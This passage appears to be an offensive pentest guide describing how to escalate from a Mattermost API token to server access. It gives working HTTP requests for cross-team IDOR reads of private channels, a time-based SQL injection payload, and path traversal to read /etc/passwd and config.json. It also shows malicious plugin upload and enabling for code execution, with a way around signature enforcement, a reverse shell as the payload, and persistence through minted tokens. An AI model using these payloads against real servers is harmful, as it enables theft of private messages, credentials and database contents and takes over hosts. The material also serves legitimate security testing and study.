This is where a token becomes server access. Three classes matter: broken authorization (IDOR) that reads data the token should not see, injection into the query layer, and the admin-only plugin machinery that is designed to run operator code and so runs attacker code once you hold a system-admin token. The plugin path is the reliable route to a shell; the IDOR and injection are the routes to the data and the credentials that get you the admin token in the first place.
Broken authorization and IDOR across teams#
Mattermost identifies posts, files, channels, and teams by opaque ids, and several /api/v4 read endpoints historically checked that you were authenticated but not that you were a member of the resource's team. With any low-privilege token, requesting a resource by id then returns content from teams and private channels you never joined:
GET /api/v4/channels/{foreign_channel_id}/posts HTTP/1.1
Host: target:8065
Authorization: Bearer <low-priv-token>
{"order":["p1","p2"],"posts":{"p1":{"message":"vpn creds: ...","channel_id":"..."}}}
A 200 returning posts from a channel your account is not in is the IDOR firing. Harvest channel and team ids from enumeration, then sweep post, file, and channel-member endpoints by id. The same pattern against GET /api/v4/files/{file_id} and GET /api/v4/files/{file_id}/link pulls attachments (backups, key material) cross-team. Reading an admin's DM channel this way is a direct route to the credentials or reset token that upgrade you to system_admin.
SQL injection in filter parameters#
Endpoints that accept sort/filter arguments which reach the database layer as query fragments (rather than bound parameters) are injectable on affected builds. The report-style and analytics filters, and the sort/in_team/in_channel style parameters on some search and admin list endpoints, are the usual sinks:
GET /api/v4/users?in_team=xxx&sort=create_at)%20AND%20(SELECT%201%20FROM%20pg_sleep(5))-- - HTTP/1.1
Host: target:8065
Authorization: Bearer <token>
Interpret by timing: a response that returns after ~5 s where the unmodified request is immediate confirms a boolean/time-based injection in that parameter. Escalate to extracting Sessions.Token and Users.Password (bcrypt) from the database, and in particular the stored secrets. Confirm the backend first from the error text (pg_sleep for Postgres, SLEEP() for MySQL) seen in a deliberately broken payload.
Path traversal in file and import endpoints#
The file download, export, and bulk-import/archive routes compose a filesystem path from request input. Where the path is not confined, ../ escapes the data directory:
GET /api/v4/files/../../../../etc/passwd HTTP/1.1
Host: target:8065
Authorization: Bearer <token>
A body containing root:x:0:0: confirms arbitrary file read as the service user; point it at the Mattermost config.json to recover the SqlSettings.DataSource (full DB DSN) and the ServerSettings signing secrets. The import/archive endpoints (/api/v4/imports, slash-command and plugin archive handling) that unpack a .zip/.tar.gz with attacker-controlled entry names are the write-side variant: a traversing archive entry writes a file outside the intended directory, which sets up the plugin RCE below if plugin upload is locked down.
Plugin upload to code execution#
A Mattermost plugin is a bundle containing a compiled Go executable that the server launches and talks to over RPC inside its own process space. Uploading one as system-admin is therefore arbitrary code execution as the mattermost service account by design. Build a minimal plugin whose server-side main runs your command, package it as the expected .tar.gz layout (a plugin.json manifest plus the compiled binary under server/), then upload and enable it:
POST /api/v4/plugins HTTP/1.1
Host: target:8065
Authorization: Bearer <system-admin-token>
Content-Type: multipart/form-data; boundary=x
--x
Content-Disposition: form-data; name="plugin"; filename="x.tar.gz"
Content-Type: application/gzip
<binary of the malicious plugin bundle>
--x--
{"id":"com.evil.x","version":"1.0.0",...}
A 200 with the manifest means it is installed. Enable it to make the server launch the binary:
POST /api/v4/plugins/com.evil.x/enable HTTP/1.1
Host: target:8065
Authorization: Bearer <system-admin-token>
Where the deployment enforces plugin signatures (RequirePluginSignature), either disable that setting through the admin config API with the same token (PUT /api/v4/config) or sign the bundle with a key you planted through that same config write; the signature check is an admin-controlled policy, not a cryptographic barrier once you are admin. The plugin's ServeHTTP or activation hook runs your payload: a reverse shell, a read of config.json from disk, or a dump of the Postgres Users/Sessions tables through the DSN the server already holds.
Follow-on#
The plugin executes as the mattermost user, so you have a shell on the host with the service account's filesystem and network reach, and config.json on disk hands you the database DSN and every integration secret. From there, pivot to the Postgres/MySQL host, mint personal access tokens for persistence (see authentication), and read every team's history directly from the store rather than one IDOR at a time.
Tools#
- mattermost/mattermost-plugin-starter-template (to build the plugin bundle)
- mattermost/mattermost (server source, to confirm per-build endpoint auth and filter handling)
- Burp Suite repeater for the IDOR id sweep and the SQLi timing checks.